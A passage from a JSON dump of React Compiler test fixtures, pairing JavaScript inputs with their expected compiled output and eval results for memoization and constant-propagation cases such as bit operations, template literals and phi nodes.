t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{ a: 2, b: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"a\":2},[3]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/consecutive-use-memo.ts",
    "content": "import {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\nfunction useHook({a, b}) {\n  const valA = useMemo(() => identity({a}), [a]);\n  const valB = useMemo(() => identity([b]), [b]);\n  return [valA, valB];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{a: 2, b: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/console-readonly.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {shallowCopy} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = shallowCopy(props);\n  // These calls should view x as readonly and be grouped outside of the reactive scope for x:\n  console.log(x);\n  console.info(x);\n  console.warn(x);\n  console.error(x);\n  console.trace(x);\n  console.table(x);\n  global.console.log(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1, b: 2}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { shallowCopy } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    t0 = shallowCopy(props);\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n\n  console.log(x);\n  console.info(x);\n  console.warn(x);\n  console.error(x);\n  console.trace(x);\n  console.table(x);\n  global.console.log(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 1, b: 2 }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":1,\"b\":2}\nlogs: [{ a: 1, b: 2 },{ a: 1, b: 2 },{ a: 1, b: 2 },{ a: 1, b: 2 },{ a: 1, b: 2 },{ a: 1, b: 2 }]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/console-readonly.js",
    "content": "import {shallowCopy} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = shallowCopy(props);\n  // These calls should view x as readonly and be grouped outside of the reactive scope for x:\n  console.log(x);\n  console.info(x);\n  console.warn(x);\n  console.error(x);\n  console.trace(x);\n  console.table(x);\n  global.console.log(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1, b: 2}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-into-function-expression-global.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  const isX = GLOBAL_IS_X;\n  const getJSX = () => {\n    return <Child x={isX}></Child>;\n  };\n  const result = getJSX();\n  return result;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {\n  const $ = _c(1);\n\n  const getJSX = _temp;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = getJSX();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const result = t0;\n  return result;\n}\nfunction _temp() {\n  return <Child x={GLOBAL_IS_X} />;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-into-function-expression-global.js",
    "content": "function foo() {\n  const isX = GLOBAL_IS_X;\n  const getJSX = () => {\n    return <Child x={isX}></Child>;\n  };\n  const result = getJSX();\n  return result;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-into-function-expression-primitive.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  const x = 42;\n  const f = () => {\n    console.log(x);\n  };\n  f();\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {\n  const f = _temp;\n\n  f();\n  return 42;\n}\nfunction _temp() {\n  console.log(42);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 42\nlogs: [42]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-into-function-expression-primitive.js",
    "content": "function foo() {\n  const x = 42;\n  const f = () => {\n    console.log(x);\n  };\n  f();\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-phi-nodes.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo(setOne: boolean) {\n  let x;\n  let y;\n  let z;\n  if (setOne) {\n    x = y = z = 1;\n  } else {\n    x = 2;\n    y = 3;\n    z = 5;\n  }\n  return {x, y, z};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(setOne) {\n  const $ = _c(4);\n  let x;\n  let y;\n  let z;\n  if (setOne) {\n    x = y = z = 1;\n  } else {\n    x = 2;\n    y = 3;\n    z = 5;\n  }\n  let t0;\n  if ($[0] !== x || $[1] !== y || $[2] !== z) {\n    t0 = { x, y, z };\n    $[0] = x;\n    $[1] = y;\n    $[2] = z;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":1,\"y\":1,\"z\":1}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/const-propagation-phi-nodes.ts",
    "content": "function useFoo(setOne: boolean) {\n  let x;\n  let y;\n  let z;\n  if (setOne) {\n    x = y = z = 1;\n  } else {\n    x = 2;\n    y = 3;\n    z = 5;\n  }\n  return {x, y, z};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-computed.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const index = 'foo';\n  const x = {};\n  x[index] = x[index] + x['bar'];\n  x[index](props.foo);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== props.foo) {\n    x = {};\n    x.foo = x.foo + x.bar;\n    x.foo(props.foo);\n    $[0] = props.foo;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-computed.js",
    "content": "function Component(props) {\n  const index = 'foo';\n  const x = {};\n  x[index] = x[index] + x['bar'];\n  x[index](props.foo);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-across-objectmethod-def.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\n// repro for context identifier scoping bug, in which x was\n// inferred as a context variable.\n\nfunction Component() {\n  let x = 2;\n  const obj = {\n    method() {},\n  };\n  x = 4;\n  identity(obj);\n  // constant propagation should return 4 here\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { identity } from \"shared-runtime\";\n\n// repro for context identifier scoping bug, in which x was\n// inferred as a context variable.\n\nfunction Component() {\n  const obj = { method() {} };\n\n  identity(obj);\n\n  return 4;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) 4"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-across-objectmethod-def.js",
    "content": "import {identity} from 'shared-runtime';\n\n// repro for context identifier scoping bug, in which x was\n// inferred as a context variable.\n\nfunction Component() {\n  let x = 2;\n  const obj = {\n    method() {},\n  };\n  x = 4;\n  identity(obj);\n  // constant propagation should return 4 here\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-colliding-identifier.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {invoke} from 'shared-runtime';\n\nfunction Component() {\n  let x = 2;\n  const fn = () => {\n    return {x: 'value'};\n  };\n  invoke(fn);\n  x = 3;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { invoke } from \"shared-runtime\";\n\nfunction Component() {\n  const fn = _temp;\n\n  invoke(fn);\n\n  return 3;\n}\nfunction _temp() {\n  return { x: \"value\" };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) 3"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-colliding-identifier.js",
    "content": "import {invoke} from 'shared-runtime';\n\nfunction Component() {\n  let x = 2;\n  const fn = () => {\n    return {x: 'value'};\n  };\n  invoke(fn);\n  x = 3;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-to-object-method.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction Foo() {\n  const CONSTANT = 1;\n  const x = {\n    foo() {\n      return identity(CONSTANT);\n    },\n  };\n  return x.foo();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction Foo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = {\n      foo() {\n        return identity(1);\n      },\n    };\n    t0 = x.foo();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) 1"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-prop-to-object-method.js",
    "content": "import {identity} from 'shared-runtime';\n\nfunction Foo() {\n  const CONSTANT = 1;\n  const x = {\n    foo() {\n      return identity(CONSTANT);\n    },\n  };\n  return x.foo();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis-constant.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {CONST_STRING0, Text} from 'shared-runtime';\nfunction useFoo() {\n  'use no forget';\n  return {tab: CONST_STRING0};\n}\n\nfunction Test() {\n  const {tab} = useFoo();\n  const currentTab = tab === CONST_STRING0 ? CONST_STRING0 : CONST_STRING0;\n\n  return <Text value={currentTab} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { CONST_STRING0, Text } from \"shared-runtime\";\nfunction useFoo() {\n  \"use no forget\";\n  return { tab: CONST_STRING0 };\n}\n\nfunction Test() {\n  const $ = _c(1);\n  const { tab } = useFoo();\n  tab === CONST_STRING0 ? CONST_STRING0 : CONST_STRING0;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <Text value={CONST_STRING0} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>global string 0</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis-constant.js",
    "content": "import {CONST_STRING0, Text} from 'shared-runtime';\nfunction useFoo() {\n  'use no forget';\n  return {tab: CONST_STRING0};\n}\n\nfunction Test() {\n  const {tab} = useFoo();\n  const currentTab = tab === CONST_STRING0 ? CONST_STRING0 : CONST_STRING0;\n\n  return <Text value={currentTab} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {CONST_STRING0, CONST_STRING1, Text} from 'shared-runtime';\n\nfunction useFoo() {\n  'use no forget';\n  return {tab: CONST_STRING1};\n}\n\nfunction Test() {\n  const {tab} = useFoo();\n  const currentTab = tab === CONST_STRING0 ? CONST_STRING0 : CONST_STRING1;\n\n  return <Text value={currentTab} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { CONST_STRING0, CONST_STRING1, Text } from \"shared-runtime\";\n\nfunction useFoo() {\n  \"use no forget\";\n  return { tab: CONST_STRING1 };\n}\n\nfunction Test() {\n  const $ = _c(2);\n  const { tab } = useFoo();\n  const currentTab = tab === CONST_STRING0 ? CONST_STRING0 : CONST_STRING1;\n  let t0;\n  if ($[0] !== currentTab) {\n    t0 = <Text value={currentTab} />;\n    $[0] = currentTab;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>global string 1</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagate-global-phis.js",
    "content": "import {CONST_STRING0, CONST_STRING1, Text} from 'shared-runtime';\n\nfunction useFoo() {\n  'use no forget';\n  return {tab: CONST_STRING1};\n}\n\nfunction Test() {\n  const {tab} = useFoo();\n  const currentTab = tab === CONST_STRING0 ? CONST_STRING0 : CONST_STRING1;\n\n  return <Text value={currentTab} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-bit-ops.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction foo() {\n  return (\n    <Stringify\n      value={[\n        123.45 | 0,\n        123.45 & 0,\n        123.45 ^ 0,\n        123 << 0,\n        123 >> 0,\n        123 >>> 0,\n        123.45 | 1,\n        123.45 & 1,\n        123.45 ^ 1,\n        123 << 1,\n        123 >> 1,\n        123 >>> 1,\n        3 ** 2,\n        3 ** 2.5,\n        3.5 ** 2,\n        2 ** (3 ** 0.5),\n        4 % 2,\n        4 % 2.5,\n        4 % 3,\n        4.5 % 2,\n      ]}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction foo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <Stringify\n        value={[\n          123, 0, 123, 123, 123, 123, 123, 1, 122, 246, 61, 61, 9,\n          15.588457268119896, 12.25, 3.3219970854839125, 0, 1.5, 1, 0.5,\n        ]}\n      />\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"value\":[123,0,123,123,123,123,123,1,122,246,61,61,9,15.588457268119896,12.25,3.3219970854839125,0,1.5,1,0.5]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-bit-ops.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction foo() {\n  return (\n    <Stringify\n      value={[\n        123.45 | 0,\n        123.45 & 0,\n        123.45 ^ 0,\n        123 << 0,\n        123 >> 0,\n        123 >>> 0,\n        123.45 | 1,\n        123.45 & 1,\n        123.45 ^ 1,\n        123 << 1,\n        123 >> 1,\n        123 >>> 1,\n        3 ** 2,\n        3 ** 2.5,\n        3.5 ** 2,\n        2 ** (3 ** 0.5),\n        4 % 2,\n        4 % 2.5,\n        4 % 3,\n        4.5 % 2,\n      ]}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-for.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let y = 0;\n  for (const x = 100; x < 10; x) {\n    y = y + 1;\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {\n  let y = 0;\n  for (const x = 100; false; 100) {\n    y = y + 1;\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 0"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-for.js",
    "content": "function foo() {\n  let y = 0;\n  for (const x = 100; x < 10; x) {\n    y = y + 1;\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-into-function-expressions.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify, identity} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = 42;\n  const onEvent = () => {\n    return identity(x);\n  };\n  return <Stringify onEvent={onEvent} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify, identity } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(1);\n\n  const onEvent = _temp;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <Stringify onEvent={onEvent} shouldInvokeFns={true} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp() {\n  return identity(42);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"onEvent\":{\"kind\":\"Function\",\"result\":42},\"shouldInvokeFns\":true}</div>\n<div>{\"onEvent\":{\"kind\":\"Function\",\"result\":42},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-into-function-expressions.js",
    "content": "import {Stringify, identity} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = 42;\n  const onEvent = () => {\n    return identity(x);\n  };\n  return <Stringify onEvent={onEvent} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-phi.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  let x;\n  if (a) {\n    x = 2 - 1;\n  } else {\n    x = 0 + 1;\n  }\n  if (x === 1) {\n    return b;\n  } else {\n    return c;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b, c) {\n  if (a) {\n  }\n\n  return b;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-phi.js",
    "content": "function foo(a, b, c) {\n  let x;\n  if (a) {\n    x = 2 - 1;\n  } else {\n    x = 0 + 1;\n  }\n  if (x === 1) {\n    return b;\n  } else {\n    return c;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-string-concat.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  const a = 'a' + 'b';\n  const c = 'c';\n  return a + c;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {\n  return \"abc\";\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) \"abc\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-string-concat.js",
    "content": "function foo() {\n  const a = 'a' + 'b';\n  const c = 'c';\n  return a + c;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-template-literal.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nimport {Stringify, identity} from 'shared-runtime';\n\nfunction foo() {\n  try {\n    identity(`${Symbol('0')}`); // Uncaught TypeError: Cannot convert a Symbol value to a string (leave as is)\n  } catch {}\n\n  return (\n    <Stringify\n      value={[\n        `` === '',\n        `\\n` === '\\n',\n        `a\\nb`,\n        `\\n`,\n        `a${1}b`,\n        ` abc \\u0041\\n\\u000a\\ŧ`,\n        `abc${1}def`,\n        `abc${1}def${2}`,\n        `abc${1}def${2}ghi`,\n        `a${1 + 3}b${``}c${'d' + `e${2 + 4}f`}`,\n        `1${2}${Math.sin(0)}`,\n        `${NaN}`,\n        `${Infinity}`,\n        `${-Infinity}`,\n        `${Number.MAX_SAFE_INTEGER}`,\n        `${Number.MIN_SAFE_INTEGER}`,\n        `${Number.MAX_VALUE}`,\n        `${Number.MIN_VALUE}`,\n        `${-0}`,\n        `\n        `,\n        `${{}}`,\n        `${[1, 2, 3]}`,\n        `${true}`,\n        `${false}`,\n        `${null}`,\n        `${undefined}`,\n        `123456789${0}`,\n        `${0}123456789`,\n        `${0}123456789${0}`,\n        `${0}1234${5}6789${0}`,\n        `${0}1234${`${0}123456789${`${0}123456789${0}`}`}6789${0}`,\n        `${0}1234${`${0}123456789${`${identity(0)}`}`}6789${0}`,\n        `${`${`${`${0}`}`}`}`,\n        `${`${`${`${''}`}`}`}`,\n        `${`${`${`${identity('')}`}`}`}`,\n      ]}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false\nimport { Stringify, identity } from \"shared-runtime\";\n\nfunction foo() {\n  const $ = _c(1);\n  try {\n    identity(`${Symbol(\"0\")}`);\n  } catch {}\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <Stringify\n        value={[\n          true,\n          true,\n          \"a\\nb\",\n          \"\\n\",\n          \"a1b\",\n          \" abc A\\n\\n\\u0167\",\n          \"abc1def\",\n          \"abc1def2\",\n          \"abc1def2ghi\",\n          \"a4bcde6f\",\n          `1${2}${Math.sin(0)}`,\n          `${NaN}`,\n          `${Infinity}`,\n          `${-Infinity}`,\n          `${Number.MAX_SAFE_INTEGER}`,\n          `${Number.MIN_SAFE_INTEGER}`,\n          `${Number.MAX_VALUE}`,\n          `${Number.MIN_VALUE}`,\n          \"0\",\n          \"\\n        \",\n\n          `${{}}`,\n          `${[1, 2, 3]}`,\n          \"true\",\n          \"false\",\n          \"null\",\n          `${undefined}`,\n          \"1234567890\",\n          \"0123456789\",\n          \"01234567890\",\n          \"01234567890\",\n          \"0123401234567890123456789067890\",\n          `${0}1234${`${0}123456789${`${identity(0)}`}`}6789${0}`,\n          \"0\",\n          \"\",\n          `${`${`${`${identity(\"\")}`}`}`}`,\n        ]}\n      />\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"value\":[true,true,\"a\\nb\",\"\\n\",\"a1b\",\" abc A\\n\\nŧ\",\"abc1def\",\"abc1def2\",\"abc1def2ghi\",\"a4bcde6f\",\"120\",\"NaN\",\"Infinity\",\"-Infinity\",\"9007199254740991\",\"-9007199254740991\",\"1.7976931348623157e+308\",\"5e-324\",\"0\",\"\\n        \",\"[object Object]\",\"1,2,3\",\"true\",\"false\",\"null\",\"undefined\",\"1234567890\",\"0123456789\",\"01234567890\",\"01234567890\",\"0123401234567890123456789067890\",\"012340123456789067890\",\"0\",\"\",\"\"]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-template-literal.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false\nimport {Stringify, identity} from 'shared-runtime';\n\nfunction foo() {\n  try {\n    identity(`${Symbol('0')}`); // Uncaught TypeError: Cannot convert a Symbol value to a string (leave as is)\n  } catch {}\n\n  return (\n    <Stringify\n      value={[\n        `` === '',\n        `\\n` === '\\n',\n        `a\\nb`,\n        `\\n`,\n        `a${1}b`,\n        ` abc \\u0041\\n\\u000a\\ŧ`,\n        `abc${1}def`,\n        `abc${1}def${2}`,\n        `abc${1}def${2}ghi`,\n        `a${1 + 3}b${``}c${'d' + `e${2 + 4}f`}`,\n        `1${2}${Math.sin(0)}`,\n        `${NaN}`,\n        `${Infinity}`,\n        `${-Infinity}`,\n        `${Number.MAX_SAFE_INTEGER}`,\n        `${Number.MIN_SAFE_INTEGER}`,\n        `${Number.MAX_VALUE}`,\n        `${Number.MIN_VALUE}`,\n        `${-0}`,\n        `\n        `,\n        `${{}}`,\n        `${[1, 2, 3]}`,\n        `${true}`,\n        `${false}`,\n        `${null}`,\n        `${undefined}`,\n        `123456789${0}`,\n        `${0}123456789`,\n        `${0}123456789${0}`,\n        `${0}1234${5}6789${0}`,\n        `${0}1234${`${0}123456789${`${0}123456789${0}`}`}6789${0}`,\n        `${0}1234${`${0}123456789${`${identity(0)}`}`}6789${0}`,\n        `${`${`${`${0}`}`}`}`,\n        `${`${`${`${''}`}`}`}`,\n        `${`${`${`${identity('')}`}`}`}`,\n      ]}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary-number.expect.md",
